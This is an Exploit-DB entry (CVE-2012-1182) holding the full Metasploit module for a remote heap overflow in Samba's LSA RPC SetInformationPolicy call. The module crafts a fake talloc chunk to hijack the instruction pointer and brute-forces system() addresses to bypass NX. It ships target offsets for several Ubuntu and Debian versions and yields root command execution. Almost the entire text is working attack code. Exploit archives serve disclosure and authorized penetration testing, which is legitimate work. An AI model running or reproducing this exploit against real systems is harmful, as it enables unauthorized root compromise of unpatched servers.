标题: Samba 3.4.16/3.5.14/3.6.4 - SetInformationPolicy AuditEventsInfo Heap Overflow (Metasploit) EDB-ID: 21850 CVE: 2012-1182 类型: REMOTE 平台: LINUX 发布日期: 2012-10-10 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
   'Description'    => %q{
     This module triggers a vulnerability in the LSA RPC service of the Samba daemon
    because of an error on the PIDL auto-generated code. Making a specially crafted
    call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
    trigger a heap overflow and finally execute arbitrary code with root privileges.

    The module uses brute force to guess the system() address and redirect flow there
    in order to bypass NX. The start and stop addresses for brute forcing have been
    calculated empirically. On the other hand the module provides the StartBrute and
    StopBrute which allow the user to configure his own addresses.
   },
   'Author'         =>
    [
     'Unknown', # Vulnerability discovery
     'blasty', # Exploit
     'mephos', # Debian Squeeze target
     'sinn3r', # Metasploit module
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['CVE', '2012-1182'],
     ['OSVDB', '81303'],
     ['BID', '52973'],
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/']
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 811,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic bash telnet python perl'
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
     ['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
      {
       'Offset' => 0x11c0,
       'Bruteforce' =>
       {
        # The start for the final version should be 0xb20 aligned, and then step 0x1000.
        'Start' => { 'Ret' => 0x00230b20 },
        'Stop'  => { 'Ret' => 0x22a00b20 },
        'Step'  => 0x1000
       }
      }
     ],
     ['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
      {
       'Offset' => 0x11c0,
       'Bruteforce' =>
       {
        # The start should be 0x950 aligned, and then step 0x1000.
        'Start' => { 'Ret' => 0x00230950 },
        'Stop'  => { 'Ret' => 0x22a00950 },
        'Step'  => 0x1000
       }
      }
     ],
     ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 10.10',
      {
       'Offset' => 0x11c0,
       'Bruteforce' =>
       {
        # The start should be 0x680 aligned, and then step 0x1000.
        'Start' => { 'Ret' => 0x00230680 },
        'Stop'  => { 'Ret' => 0x22a00680 },
        'Step'  => 0x1000
       }
      }
     ],
     ['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
      {
       'Offset' => 0x11c0,
       'Bruteforce' =>
       {
        # The start should be 0x680 aligned, and then step 0x1000.
        'Start' => { 'Ret' => 0xb6aaa1b0 },
        'Stop'  => { 'Ret' => 0xb6ce91b0 },
        'Step'  => 0x1000
       }
      }
     ]
    ],
   'DisclosureDate' => 'Apr 10 2012',
   'DefaultTarget'  => 0
   ))

  register_options([
   OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
   OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
  ], self.class)

 end

 def exploit
  if target.bruteforce?
   bf = target.bruteforce

   if datastore['StartBrute'] and datastore['StartBrute'] > 0
    bf.start_addresses['Ret'] = datastore['StartBrute']
   end

   if datastore['StopBrute'] and datastore['StopBrute'] > 0
    bf.stop_addresses['Ret'] = datastore['StopBrute']
   end

   if bf.start_addresses['Ret'] > bf.stop_addresses['Ret']
    raise ArgumentError, "StartBrute should not be larger than StopBrute"
   end
  end
  super
 end

 def check
  begin
   connect()
   smb_login()
   disconnect()

   version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
   minor   = version.scan(/\.(\d*)$/).flatten[0].to_i
   print_status("Version found: #{version}")

   return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
   return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
   return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4

   return Exploit::CheckCode::Safe

  rescue ::Exception
   return CheckCode::Unknown
  end
 end

 def brute_exploit(target_addrs)

  print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
  datastore['DCERPC::fake_bind_multi'] = false
  datastore['DCERPC::max_frag_size'] = 4248

  pipe = "lsarpc"

  print_status("Connecting to the SMB service...")
  connect()
  print_status("Login to the SMB service...")
  smb_login()

  handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  stub = "X" * 20

  cmd = ";;;;" # padding
  cmd << "#{payload.encoded}\x00" # system argument
  tmp = cmd * (816/cmd.length)
  tmp << "\x00"*(816-tmp.length)

  stub << NDR.short(2)     # level
  stub << NDR.short(2)     # level 2
  stub << NDR.long(1)      # auditing mode
  stub << NDR.long(1)      # ptr
  stub << NDR.long(100000) # r-> count
  stub << NDR.long(20)     # array size
  stub << NDR.long(0)
  stub << NDR.long(100)
  stub << rand_text_alpha(target['Offset'])
  # Crafted talloc chunk
  stub << 'A' * 8                       # next, prev
  stub << NDR.long(0) + NDR.long(0)     # parent, child
  stub << NDR.long(0)                   # refs
  stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
  stub << NDR.long(0)                   # name
  stub << "AAAA"                        # size
  stub << NDR.long(0xe8150c70)          # flags
  stub << "AAAABBBB"
  stub << tmp # pointer to tmp+4 in $esp
  stub << rand_text(32632)
  stub << rand_text(62000)

  print_status("Calling the vulnerable function...")

  begin
   call(dcerpc, 0x08, stub)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
   print_status('Server did not respond, this is expected')
  rescue Rex::Proto::DCERPC::Exceptions::Fault
   print_error('Server is most likely patched...')
  rescue => e
   if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
    print_status('Server disconnected, this is expected')
   end
  end

  handler
  disconnect
 end

 # Perform a DCE/RPC Function Call
 def call(dcerpc, function, data, do_recv = true)

  frag_size = data.length
  if dcerpc.options['frag_size']
   frag_size = dcerpc.options['frag_size']
  end
  object_id = ''
  if dcerpc.options['object_call']
   object_id = dcerpc.handle.uuid[0]
  end
  if options['random_object_id']
   object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
  end

  call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
  call_packets.each { |packet|
   write(dcerpc, packet)
  }

  return true if not do_recv

  raw_response = ''

  begin
   raw_response = dcerpc.read()
  rescue ::EOFError
   raise Rex::Proto::DCERPC::Exceptions::NoResponse
  end

  if (raw_response == nil or raw_response.length == 0)
   raise Rex::Proto::DCERPC::Exceptions::NoResponse
  end


  dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)

  if dcerpc.last_response.type == 3
   e = Rex::Proto::DCERPC::Exceptions::Fault.new
   e.fault = dcerpc.last_response.status
   raise e
  end

  dcerpc.last_response.stub_data
 end

 # Used to create standard DCERPC REQUEST packet(s)
 def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')

  opnum = opnum.to_i
  size = size.to_i
  ctx   = ctx.to_i

  chunks, frags = [], []
  ptr = 0

  # Break the request into fragments of 'size' bytes
  while ptr < data.length
   chunks.push( data[ ptr, size ] )
   ptr += size
  end

  # Process requests with no stub data
  if chunks.length == 0
   frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
   return frags
  end

  # Process requests with only one fragment
  if chunks.length == 1
   frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
   return frags
  end

  # Create the first fragment of the request
  frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )

  # Create all of the middle fragments
  while chunks.length != 1
   frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
  end

  # Create the last fragment of the request
  frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )

  return frags
 end

 # Write data to the underlying socket
 def write(dcerpc, data)
  dcerpc.socket.write(data)
  data.length
 end

end URL: https://www.exploit-db.com/exploits/21850